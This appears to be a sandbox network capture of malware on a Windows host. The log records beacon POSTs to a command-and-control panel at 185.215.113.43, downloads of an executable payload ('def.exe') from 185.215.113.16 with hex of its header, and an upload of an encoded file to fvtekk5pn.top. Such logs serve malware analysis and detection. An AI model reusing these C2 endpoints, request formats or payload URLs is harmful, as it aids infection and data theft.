Nov 24, 2024 14:25:12.753724098 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49959	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:25:14.411750078 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:25:15.806358099 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:25:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49971	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:25:17.563574076 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:25:18.933146000 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:25:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49994	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:25:20.582216024 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:25:21.926686049 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:25:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49995	185.215.113.16	80	5012	C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:25:21.184992075 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 24, 2024 14:25:22.666915894 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:25:22 GMT Content-Type: application/octet-stream Content-Length: 2814976 Last-Modified: Sun, 24 Nov 2024 12:33:16 GMT Connection: keep-alive ETag: "67431d0c-2af400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 45 cc 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$`+ `@ +E+`Ui` @ @.rsrc`2@.idata 8@tcknjbhw*:@pazbjnlm @+@.taggant@`+"*@
Nov 24, 2024 14:25:22.666935921 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 14:25:22.666944981 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 14:25:22.667051077 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 14:25:22.667063951 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 14:25:22.667073965 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 14:25:22.667092085 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 14:25:22.667104959 CET	552	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 14:25:22.667115927 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 14:25:22.667129040 CET	1236	IN	Data Raw: a0 e2 51 a0 74 02 71 fd bd 7b 8d ab 8f 72 36 6c 79 84 9e 38 83 f2 56 80 e0 66 6a 32 d1 1c 6d 54 eb 6c a2 d8 3b b8 e5 92 ca 06 6c 2e 3c 77 70 a8 47 44 70 5f 11 ea 06 7b 16 64 4c 60 59 2a 4e 1a 5f 6d f0 26 d6 33 76 5a 8f 37 68 4c 03 e3 ee b9 07 7a Data Ascii: Qtq{r6ly8Vfj2mTl;l.<wpGDp_{dL`YN_m&3vZ7hLz)rbhF_=pN@p}_66pT@F=rvjqv>3]5>fq0I;_\|o_O=s6O?b_Ng/v{\3PMNYa5R:M\RS#JsK4C!MtIo;8Gfr^d f`Wd_5g,zN
Nov 24, 2024 14:25:22.795958996 CET	1236	IN	Data Raw: 8d 1c 75 6f c5 9d af ca 56 7f 80 da f9 3b 4e b4 07 8e 65 ad 5c 30 f9 0b 9a fb ae ec fc 0e ef b9 3d 85 a5 5d 44 23 64 19 c0 7d 5d 17 51 90 5c 2d 95 c6 5b fd 7b 3b 77 52 96 cc 5d e9 a2 09 42 d4 42 db 51 12 a4 3f fd 91 37 47 7d 1d 9e 55 7c 46 a0 3c Data Ascii: uoV;Ne\0=]D#d}]Q\-[{;wR]BBQ?7G}U\|F<vc5~.5;?:=y2J!CY,C3Y0e@VFEI<`7scBiwG}k#ugxvepIV~\|,*NyAFWf)E_;_=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	50007	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:25:23.680069923 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:25:25.057710886 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:25:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	50019	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:25:26.697484016 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:25:28.043030024 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:25:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	50030	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:25:29.778489113 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:25:31.146289110 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:25:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	50038	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:25:32.782155991 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:25:34.164565086 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:25:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	50049	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:25:35.906022072 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:25:37.246946096 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:25:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	50051	34.116.198.130	80	6104	C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:25:37.104021072 CET	2983	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 2803 Content-Type: multipart/form-data; boundary=------------------------mGbUpDFf9H7Oy2Oc6bVQ0k Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 6d 47 62 55 70 44 46 66 39 48 37 4f 79 32 4f 63 36 62 56 51 30 6b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 57 69 67 61 6a 61 71 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a b6 a0 4b a1 68 05 05 30 a9 a9 9d 4f 35 83 78 f8 8b e4 f6 77 88 c6 46 5c 82 2e bd 8d 09 75 4b d2 a4 29 91 71 90 80 97 42 a4 15 fe 2c 5e fb 42 14 7f 36 00 b2 a7 07 fa 4a 6f cf 04 ee 1b 85 01 2e 54 b5 7d c5 aa d3 38 e0 31 8f 06 fc 2a b2 6d c5 8c a5 c1 98 2b 80 7e 63 38 17 d6 c5 ff 99 57 6a d6 cc 35 ba 7f 67 c3 03 18 3e 9f d0 14 47 35 48 7b 50 66 64 63 cf 8a df 2e 85 1d cc 3c 89 bd 09 b2 06 4b 39 cb a7 ef 1b 32 03 19 93 14 e6 2f 40 9e 22 ad 27 af 7f 85 05 c0 b4 db 60 35 d0 1f 7d c3 0f e2 b8 55 b8 1d 2d 14 6d 0e 28 02 be 24 e4 7c [TRUNCATED] Data Ascii: --------------------------mGbUpDFf9H7Oy2Oc6bVQ0kContent-Disposition: form-data; name="file"; filename="Wigajaq.bin"Content-Type: application/octet-streamKh0O5xwF\.uK)qB,^B6Jo.T}81m+~c8Wj5g>G5H{Pfdc.<K92/@"'`5}U-m($\|@x"`fw6f?W).5S3/DDa^_b0Q]J9!R]/MU#ZA[[6+\zp~-geX4pmSlSkDe~it(9t&;<vD6z`a_(,UzD^e\hg;%$fT.-`P\o//2[)ONkw:Ledky1K]G2b}ge_QPo-Hp[T4njId_(PC(b;)<!N_Qs+znjNXk/:Lev%mu5&tAXgHj7#Bg0,Sihq\:=lAvm19Gjhp6YsUw85-kIl~>=]k?T5~qL:zY!kfBErS6*zN4{$(>t`^acX>/)CFkW [TRUNCATED]
Nov 24, 2024 14:25:38.442600012 CET	271	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Sun, 24 Nov 2024 13:25:38 GMT content-type: text/plain; charset=utf-8 content-length: 2 x-ratelimit-limit: 30 x-ratelimit-remaining: 29 x-ratelimit-reset: 1732456539 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	50064	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:25:38.877907038 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:25:40.316519022 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:25:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	50072	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:25:41.250196934 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 24, 2024 14:25:42.581013918 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:25:42 GMT Content-Type: application/octet-stream Content-Length: 2814976 Last-Modified: Sun, 24 Nov 2024 12:33:16 GMT Connection: keep-alive ETag: "67431d0c-2af400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 45 cc 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$`+ `@ +E+`Ui` @ @.rsrc`2@.idata 8@tcknjbhw*:@pazbjnlm @+@.taggant@`+"*@
Nov 24, 2024 14:25:42.581096888 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 14:25:42.581110001 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 14:25:42.581166983 CET	672	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 14:25:42.581195116 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 14:25:42.581207037 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 14:25:42.581312895 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 14:25:42.581324100 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 14:25:42.581331968 CET	1236	IN	Data Raw: 52 03 6b 81 8a 60 0a bb 48 7e ec 82 3a 71 53 6a 7f 60 07 1b e8 8d 95 ba 48 7e ec 10 39 75 53 ba 73 60 69 3d 59 b1 d3 32 2a 35 70 a2 13 86 f1 5c 3a 79 7e bb d8 60 d9 32 1e cf 66 eb df 72 ba ef 3a 9b 6c 3a 93 8a ed 62 5a 97 6b 64 79 7b d0 b6 a9 5d Data Ascii: Rk`H~:qSj`H~9uSs`i=Y25p\:y~`2fr:l:bZkdy{]WiV9M58b-\kQtq{r6ly8Vfj2mTl;l.<wpGDp_{dL`YN_m&3vZ7hLz)rbhF_=pN@p}_66pT@F=rvjqv>3]5>fq
Nov 24, 2024 14:25:42.581342936 CET	1236	IN	Data Raw: 10 73 09 22 2e 85 9e 33 d2 25 5e 48 b1 26 e4 9e e1 2f 34 28 ca 9f 42 ee 8f 2e 5f 8b 52 bd af d8 41 d3 00 ab 3e 4b aa d0 4a e1 1c 4b 5c 52 47 e9 d8 ff ad 75 80 02 45 eb 98 5e d6 43 4b 27 d6 c4 97 d6 fb f4 4a ea 36 af f7 21 54 6c 70 e1 ad 3d 87 d6 Data Ascii: s".3%^H&/4(B._RA>KJK\RGuE^CK'J6!Tlp='C-3xw[<uoV;Ne\0=]D#d}]Q\-[{;wR]BBQ?7G}U\|F<vc5~.5;?:=y2J!CY,C3Y0e@VF
